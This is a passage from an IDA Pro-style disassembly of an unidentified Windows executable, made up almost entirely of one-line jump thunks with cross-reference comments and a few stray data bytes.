... jmp sub_40AEC0 sub_4013D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013D9 proc near ; CODE XREF: sub_404C70+8EFp ; sub_404C70+8F8p ... jmp sub_40A270 sub_4013D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013DE proc near ; CODE XREF: ___:0042200Ap jmp sub_422540 sub_4013DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013E3 proc near ; CODE XREF: sub_404640+87p ; sub_40FF60+9B0p ... jmp sub_40A160 sub_4013E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013E8 proc near ; CODE XREF: sub_426A60+12Ep jmp sub_419F50 sub_4013E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013ED proc near ; CODE XREF: sub_41E660+35Dp ; sub_41E660+3CAp ... jmp sub_421BA0 sub_4013ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013F2 proc near ; CODE XREF: sub_418CA0+7p jmp sub_418FA0 sub_4013F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013F7 proc near ; CODE XREF: sub_4161C0+5Fp jmp sub_416790 sub_4013F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013FC proc near ; DATA XREF: ___:off_43E0C4o jmp sub_41B3D0 sub_4013FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401401 proc near ; CODE XREF: sub_4156C0+29p ; sub_4157E0+29p jmp sub_416280 sub_401401 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401406 proc near ; CODE XREF: sub_413DA0+19Ap jmp sub_4157A0 sub_401406 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40140B proc near ; CODE XREF: ___:0042EF0Fp ; ___:0042EF38p jmp sub_42F0B0 sub_40140B endp ; --------------------------------------------------------------------------- jmp loc_42CFC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401415 proc near ; CODE XREF: ___:00416DFFp jmp sub_417E50 sub_401415 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40141A proc near ; CODE XREF: sub_41B820:loc_41B82Fp ; sub_41B820+1Fp jmp sub_41B800 sub_40141A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40141F proc near ; DATA XREF: sub_40AEC0+4o jmp sub_40AF90 sub_40141F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401424 proc near ; CODE XREF: sub_4034E0+61p ; sub_403C90+1Dp ... jmp sub_409AE0 sub_401424 endp ; --------------------------------------------------------------------------- jmp loc_435E40 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40142E proc near ; CODE XREF: sub_418890+29p jmp sub_418B10 sub_40142E endp ; --------------------------------------------------------------------------- jmp loc_433080 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401438 proc near ; CODE XREF: ___:0043286Dp ; sub_4329F0+20p jmp sub_432B20 sub_401438 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40143D proc near ; CODE XREF: ___:00406BD3p ; ___:00416B58p ... jmp sub_406C00 sub_40143D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401442 proc near ; CODE XREF: sub_404640+370p ; sub_404640:loc_4049E5p ... jmp sub_404BE0 sub_401442 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401447 proc near ; CODE XREF: sub_404C70+26Bp ; ___:0040F276p ... jmp sub_40E7A0 sub_401447 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40144C proc near ; CODE XREF: sub_415960+5p jmp sub_416440 sub_40144C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401451 proc near ; CODE XREF: sub_40B520+1Dp ; ___:0040B94Dp ... jmp sub_40BD20 sub_401451 endp ; --------------------------------------------------------------------------- jmp loc_40B5F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40145B proc near ; CODE XREF: sub_41E660+349p ; sub_421AF0+1Ap jmp sub_421B60 sub_40145B endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401465 proc near ; CODE XREF: sub_4150F0+29p jmp sub_415BE0 sub_401465 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40146A proc near ; CODE XREF: ___:00408A2Dp ; ___:00408A56p ... jmp sub_409450 sub_40146A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40146F proc near ; CODE XREF: sub_404640+30p ; sub_404640+14Bp ... jmp sub_40A6C0 sub_40146F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401474 proc near ; CODE XREF: sub_4192C0+1D8p ; sub_4192C0+1EFp jmp sub_419790 sub_401474 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401479 proc near ; CODE XREF: sub_4126B0+F8p jmp sub_41BC90 sub_401479 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40147E proc near ; CODE XREF: sub_413B70+E1p jmp sub_4151D0 sub_40147E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401483 proc near ; CODE XREF: sub_422A40+48p ; sub_422A40+213p ... jmp sub_425870 sub_401483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401488 proc near ; CODE XREF: sub_41B4B0+2Ap ; sub_41B4B0+5Ap jmp sub_41A5B0 sub_401488 endp ; --------------------------------------------------------------------------- jmp loc_431100 ; --------------------------------------------------------------------------- jmp loc_42E8E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401497 proc near ; CODE XREF: sub_40ED70+EAp jmp sub_40EC30 sub_401497 endp ; --------------------------------------------------------------------------- jmp loc_40A6E0 ; --------------------------------------------------------------------------- loc_4014A1: ; DATA XREF: ___:off_43E078o jmp loc_40F140 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014A6 proc near ; CODE XREF: sub_40BD20+16p ; sub_40BD60+Bp ... jmp sub_40C0C0 sub_4014A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014AB proc near ; CODE XREF: sub_42B1D0+1Dp jmp sub_42B240 sub_4014AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014B0 proc near ; CODE XREF: sub_41C610+4E7p ; sub_41C610+A75p ... jmp sub_41D5D0 sub_4014B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4014B5 proc near ; CODE XREF: sub_413220+48p ; ___:00439997j ... jmp sub_4156C0 sub_4014B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014BA proc near jmp sub_40AE80 sub_4014BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014BF proc near ; DATA XREF: ___:off_43E044o jmp sub_414D40 sub_4014BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014C4 proc near ; CODE XREF: ___:00426623p sub_426680j ... jmp sub_426560 sub_4014C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014C9 proc near ; CODE XREF: sub_4034E0+115p ; sub_404640+1B8p ... jmp sub_409B80 sub_4014C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4014CE proc near ; CODE XREF: sub_40AC70+7p jmp sub_40AD60 sub_4014CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014D3 proc near ; CODE XREF: sub_404B10+9p ; sub_404C70+45p ... jmp sub_40A740 sub_4014D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014D8 proc near ; CODE XREF: sub_41E660+E1p ; sub_4218F0+1Ap jmp sub_421960 sub_4014D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014DD proc near ; CODE XREF: sub_41A110+10p ; sub_41A2B0+47p ... jmp sub_41A500 sub_4014DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4014E2 proc near ; CODE XREF: sub_4070B0+24p jmp sub_407290 sub_4014E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014E7 proc near ; CODE XREF: ___:0042B0F5p jmp sub_42B1D0 sub_4014E7 endp ; --------------------------------------------------------------------------- jmp sub_427600 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014F1 proc near ; CODE XREF: ___:00416B1Bp ; ___:00439EB6j ... jmp sub_417540 sub_4014F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014F6 proc near ; CODE XREF: sub_415B20+5Fp jmp sub_416510 sub_4014F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4014FB proc near ; CODE XREF: sub_424800+Fp ; sub_424840+1CCp ... jmp sub_424760 sub_4014FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401500 proc near ; CODE XREF: sub_4282C0+117p ; sub_4282C0+1DCp ... jmp sub_409F90 sub_401500 endp ; --------------------------------------------------------------------------- jmp loc_4199B0 ; --------------------------------------------------------------------------- jmp loc_432C30 ; --------------------------------------------------------------------------- jmp loc_42EC00 ; --------------------------------------------------------------------------- jmp loc_42EB10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401519 proc near ; CODE XREF: sub_421F50+8p jmp sub_4223A0 sub_401519 endp ; --------------------------------------------------------------------------- jmp locret_419930 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401523 proc near ; CODE XREF: sub_40CBB0+1E1p ; sub_40CF60+143p ... jmp sub_419970 sub_401523 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401528 proc near ; CODE XREF: sub_418A70+3p jmp sub_418D00 sub_401528 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40152D proc near ; DATA XREF: ___:0043E1B8o jmp sub_42B540 sub_40152D endp ; --------------------------------------------------------------------------- jmp loc_432580 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401537 proc near ; CODE XREF: sub_40FF60+95p ; sub_411FE0+54Dp ... jmp sub_414210 sub_401537 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40153C proc near ; CODE XREF: sub_40B520+Bp ; ___:0040B939p jmp sub_40BE20 sub_40153C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401541 proc near ; CODE XREF: sub_42F540+1Bp ; sub_431BE0+94p jmp sub_42F6B0 sub_401541 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401546 proc near ; CODE XREF: sub_421ED0+7p jmp sub_422350 sub_401546 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40154B proc near ; CODE XREF: ___:0043285Fp ; sub_4329F0+Fp jmp sub_432B60 sub_40154B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401550 proc near ; CODE XREF: sub_418940+29p ; sub_418A20+29p jmp sub_418BC0 sub_401550 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401555 proc near ; CODE XREF: sub_40B170+40p ; ___:00438B1Aj ... jmp sub_40BCB0 sub_401555 endp ; --------------------------------------------------------------------------- jmp loc_4303B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40155F proc near ; CODE XREF: sub_40BFF0+4p jmp sub_40C200 sub_40155F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401564 proc near ; CODE XREF: sub_407030+3Cp jmp sub_4071E0 sub_401564 endp ; --------------------------------------------------------------------------- jmp loc_41BC20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40156E proc near ; CODE XREF: sub_415210+4Fp ; sub_415B20+11p ... jmp sub_415D70 sub_40156E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401573 proc near ; CODE XREF: ___:00416E8Ap jmp sub_418230 sub_401573 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401578 proc near ; CODE XREF: sub_413670+BEp ; sub_413670+FCp ... jmp sub_4150F0 sub_401578 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40157D proc near ; CODE XREF: ___:00416D9Fp jmp sub_417BC0 sub_40157D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401582 proc near ; CODE XREF: sub_412900+39p ; sub_412970+A9p jmp sub_412870 sub_401582 endp ; --------------------------------------------------------------------------- jmp loc_4310D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40158C proc near ; CODE XREF: sub_40A430+16Fp ; ___:00438A8Aj jmp sub_40A790 sub_40158C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401591 proc near ; CODE XREF: sub_403FC0+51p ; ___:00404064p ... jmp sub_4070B0 sub_401591 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401596 proc near ; CODE XREF: ___:00408A4Ap ; ___:00408A73p ... jmp sub_40B680 sub_401596 endp ; --------------------------------------------------------------------------- jmp loc_431F90 ; --------------------------------------------------------------------------- jmp loc_41A180 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4015A5 proc near ; CODE XREF: sub_415FC0+4p jmp sub_416610 sub_4015A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015AA proc near ; CODE XREF: sub_409850+1Ap ; sub_4098A0+1Ap jmp sub_409910 sub_4015AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015AF proc near ; DATA XREF: ___:0043E134o jmp sub_428040 sub_4015AF endp ; --------------------------------------------------------------------------- jmp loc_4328F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015B9 proc near ; CODE XREF: ___:004191A5p jmp sub_419200 sub_4015B9 endp ; --------------------------------------------------------------------------- jmp loc_4324C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015C3 proc near ; CODE XREF: ___:0041D733p jmp sub_41D760 sub_4015C3 endp ; --------------------------------------------------------------------------- jmp loc_432200 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015CD proc near ; CODE XREF: sub_415340+5p jmp sub_415DA0 sub_4015CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015D2 proc near ; CODE XREF: sub_4189B0+5p ; sub_418AB0+6p ... jmp sub_418CC0 sub_4015D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015D7 proc near ; CODE XREF: sub_404C70+953p ; ___:00406E5Cp ... jmp sub_409C80 sub_4015D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015DC proc near ; CODE XREF: ___:00416D5Fp jmp sub_406BA0 sub_4015DC endp ; --------------------------------------------------------------------------- jmp loc_424350 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015E6 proc near ; CODE XREF: ___:00415E2Ap jmp sub_416660 sub_4015E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015EB proc near ; CODE XREF: sub_41EF30+1C7p jmp sub_420CD0 sub_4015EB endp ; --------------------------------------------------------------------------- loc_4015F0: ; DATA XREF: ___:0043E1C0o jmp loc_42B830 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015F5 proc near ; CODE XREF: sub_427FF0+3p jmp sub_428020 sub_4015F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4015FA proc near ; CODE XREF: sub_404C70+E94p ; sub_40D580+120p ... jmp sub_41FF90 sub_4015FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4015FF proc near ; CODE XREF: sub_4314C0+20p ; sub_4314C0+32p jmp sub_433670 sub_4015FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401604 proc near ; CODE XREF: ___:00431435p jmp sub_42FF30 sub_401604 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401609 proc near jmp sub_425980 sub_401609 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40160E proc near ; CODE XREF: sub_4163E0+8p jmp sub_4167B0 sub_40160E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401613 proc near ; DATA XREF: ___:off_43E0ACo jmp sub_41E660 sub_401613 endp ; --------------------------------------------------------------------------- jmp loc_41AAA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40161D proc near ; CODE XREF: sub_40AEA0p ___:004300F2p jmp sub_431300 sub_40161D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401622 proc near ; CODE XREF: sub_4070F0+1Ap ; sub_418890+1Ap jmp sub_407220 sub_401622 endp ; --------------------------------------------------------------------------- jmp loc_416C90 ; --------------------------------------------------------------------------- jmp loc_42F070 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401631 proc near ; CODE XREF: sub_422240+5Fp jmp sub_4225E0 sub_401631 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401636 proc near ; CODE XREF: ___:0041A20Ap jmp sub_41B060 sub_401636 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40163B proc near ; CODE XREF: sub_4314C0:loc_4314FEp jmp sub_431560 sub_40163B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401640 proc near ; CODE XREF: sub_432E60+12p ; sub_4335B0+51p jmp sub_430520 sub_401640 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401645 proc near ; CODE XREF: ___:00416DAFp jmp sub_417C60 sub_401645 endp ; --------------------------------------------------------------------------- jmp loc_4301F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40164F proc near ; CODE XREF: sub_40A850+8p jmp sub_40A8A0 sub_40164F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401654 proc near ; CODE XREF: ___:00412F4Ep jmp sub_4130E0 sub_401654 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401659 proc near ; CODE XREF: sub_42FAA0+ADp ; ___:004322B0p ... jmp sub_42F4F0 sub_401659 endp ; --------------------------------------------------------------------------- db 0E9h ; é db 5Dh ; ] db 0A1h ; ¡ db 2 db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401663 proc near ; CODE XREF: sub_42B880+15Ep jmp sub_42B480 sub_401663 endp ; --------------------------------------------------------------------------- jmp loc_406850 ; --------------------------------------------------------------------------- jmp loc_42E350 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401672 proc near ; CODE XREF: ___:004073CAp jmp sub_407570 sub_401672 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401677 proc near ; CODE XREF: sub_422650+3Cp jmp sub_422790 sub_401677 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40167C proc near ; DATA XREF: ___:0043E0C8o jmp sub_41B4B0 sub_40167C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401681 proc near ; CODE XREF: sub_4034E0+BBp ; ___:00406ECDp ... jmp sub_4036B0 sub_401681 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401686 proc near ; CODE XREF: ___:0042EDB0p ; ___:0042EE2Ep ... jmp sub_432D80 sub_401686 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40168B proc near ; CODE XREF: sub_409490+10p jmp sub_409530 sub_40168B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401690 proc near ; CODE XREF: sub_40A430+4Ap jmp sub_40A760 sub_401690 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401695 proc near ; CODE XREF: ___:00416DCFp jmp sub_40F600 sub_401695 endp ; --------------------------------------------------------------------------- jmp loc_4320E0 ; --------------------------------------------------------------------------- jmp loc_42E650 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016A4 proc near ; CODE XREF: sub_40BEC0+9p ; sub_40C120+18p jmp sub_40C2A0 sub_4016A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016A9 proc near ; CODE XREF: sub_41D830+283p jmp sub_42E880 sub_4016A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016AE proc near ; CODE XREF: sub_4034E0+CCp ; sub_404640+EDp ... jmp sub_40A630 sub_4016AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016B3 proc near ; CODE XREF: ___:00416DEFp jmp sub_417E20 sub_4016B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016B8 proc near ; CODE XREF: sub_4245F0+7Ep ; sub_4245F0+92p ... jmp sub_4244C0 sub_4016B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016BD proc near ; CODE XREF: sub_4126B0+E0p ; sub_4137E0+CEp ... jmp sub_409E70 sub_4016BD endp ; --------------------------------------------------------------------------- jmp loc_42E130 ; --------------------------------------------------------------------------- jmp loc_42E8B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016CC proc near ; CODE XREF: ___:00415099p jmp sub_4159D0 sub_4016CC endp ; --------------------------------------------------------------------------- loc_4016D1: ; DATA XREF: ___:off_43E0ECo jmp loc_426620 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016D6 proc near ; CODE XREF: sub_409600+58p ; sub_409600+82p ... jmp sub_409850 sub_4016D6 endp ; --------------------------------------------------------------------------- jmp sub_426F20 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4016E0 proc near ; CODE XREF: sub_41E660+2B2p jmp sub_421AB0 sub_4016E0 endp ; --------------------------------------------------------------------------- jmp loc_41AE50 ; --------------------------------------------------------------------------- jmp loc_4118E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016EF proc near ; CODE XREF: sub_40A850+10p jmp sub_40A8C0 sub_4016EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4016F4 proc near jmp sub_4351E0 sub_4016F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016F9 proc near ; CODE XREF: sub_418330+7Bp ; sub_418330+C5p ... jmp sub_418AE0 sub_4016F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4016FE proc near ; CODE XREF: sub_4147D0+FCp jmp sub_4149A0 sub_4016FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401703 proc near ; CODE XREF: sub_41E660+D1p jmp sub_421A10 sub_401703 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401708 proc near ; CODE XREF: sub_40AE80p ; ___:loc_4300D5p jmp sub_431280 sub_401708 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40170D proc near ; CODE XREF: sub_409600+91p ; sub_412BC0+Dp jmp sub_4097D0 sub_40170D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401712 proc near ; DATA XREF: ___:off_43E0A8o jmp sub_40C400 sub_401712 endp ; --------------------------------------------------------------------------- jmp loc_40ADE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40171C proc near ; CODE XREF: sub_4139B0+4Ep jmp sub_415070 sub_40171C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401721 proc near ; CODE XREF: sub_40F600+13Dp jmp sub_412B90 sub_401721 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401726 proc near ; CODE XREF: ___:0040F1C0p jmp sub_40E220 sub_401726 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40172B proc near ; CODE XREF: ___:004150C1p jmp sub_415AA0 sub_40172B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401730 proc near ; CODE XREF: sub_427650+98p jmp sub_4277C0 sub_401730 endp ; --------------------------------------------------------------------------- jmp loc_425410 ; --------------------------------------------------------------------------- jmp loc_41AEF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40173F proc near ; CODE XREF: sub_4070F0+48p ; sub_4070F0:loc_407175p jmp sub_4072F0 sub_40173F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401744 proc near ; CODE XREF: sub_40AE10+2Cp ; sub_418330+8Fp ... jmp sub_40AF40 sub_401744 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401749 proc near ; CODE XREF: sub_4036D0+2A5p ; sub_4036D0+2B5p ... jmp sub_403D90 sub_401749 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40174E proc near ; CODE XREF: sub_42A5F0+7Fp ; sub_42A810+318p jmp sub_42A400 sub_40174E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401753 proc near ; CODE XREF: sub_415990+16p ; sub_4159D0+Bp ... jmp sub_416530 sub_401753 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401758 proc near ; CODE XREF: sub_40AF40+10p ; ___:0042F2C1p ... jmp sub_430180 sub_401758 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40175D proc near ; CODE XREF: ___:0040AF14p jmp sub_4335B0 sub_40175D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401762 proc near ; CODE XREF: sub_418D80+5Fp jmp sub_419010 sub_401762 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401767 proc near ; CODE XREF: ___:0041886Cp jmp sub_418490 sub_401767 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40176C proc near ; CODE XREF: ___:00416A1Bp ; ___:00416CE3p ... jmp sub_416CC0 sub_40176C endp ; --------------------------------------------------------------------------- jmp loc_420DC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401776 proc near ; CODE XREF: ___:00416DBFp jmp sub_417D30 sub_401776 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40177B proc near ; CODE XREF: sub_42F840+5Dp ; sub_430810+2Cp ... jmp sub_430FE0 sub_40177B endp ; --------------------------------------------------------------------------- jmp loc_42E2A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401785 proc near ; CODE XREF: ___:00426080p jmp sub_427590 sub_401785 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40178A proc near ; CODE XREF: ___:00425467p jmp sub_425270 sub_40178A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40178F proc near ; CODE XREF: ___:00416E9Ap jmp sub_418260 sub_40178F endp ; --------------------------------------------------------------------------- jmp loc_431F10 ; --------------------------------------------------------------------------- jmp loc_42EEB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40179E proc near ; CODE XREF: ___:00427FC3p sub_428020j ... jmp sub_427EF0 sub_40179E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017A3 proc near ; CODE XREF: ___:00416ACBp ; ___:00416C93p ... jmp sub_416C60 sub_4017A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017A8 proc near ; DATA XREF: ___:off_43E17Co jmp sub_42A100 sub_4017A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017AD proc near ; CODE XREF: sub_42FF50+D7p jmp sub_431730 sub_4017AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017B2 proc near ; CODE XREF: sub_40AE80+5j ; ___:loc_4300DDp jmp sub_431380 sub_4017B2 endp ; --------------------------------------------------------------------------- jmp loc_430130 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017BC proc near ; CODE XREF: sub_4253E0+10p ; sub_4254E0+3Dp jmp sub_4254B0 sub_4017BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017C1 proc near ; CODE XREF: sub_40AEA0+5j ; ___:loc_4300E5p ... jmp sub_4313A0 sub_4017C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017C6 proc near ; DATA XREF: ___:off_43E000o jmp sub_404C70 sub_4017C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017CB proc near ; CODE XREF: sub_424800+1Ep ; sub_424840+A6p ... jmp sub_424790 sub_4017CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017D0 proc near ; CODE XREF: ___:00416A8Bp ; ___:00439F34j ... jmp sub_417960 sub_4017D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017D5 proc near ; CODE XREF: sub_416120+11p ; ___:00416147p ... jmp sub_4166F0 sub_4017D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017DA proc near ; CODE XREF: sub_415910+3p ; ___:0041616Fp ... jmp sub_4163A0 sub_4017DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4017DF proc near ; CODE XREF: sub_415520+5Ep ; sub_415F30+32p jmp sub_415E70 sub_4017DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017E4 proc near ; CODE XREF: sub_4034E0+DBp ; sub_403FC0+3Fp ... jmp sub_40A720 sub_4017E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017E9 proc near ; CODE XREF: ___:00421DAAp jmp sub_422370 sub_4017E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4017EE proc near jmp sub_40B210 sub_4017EE endp 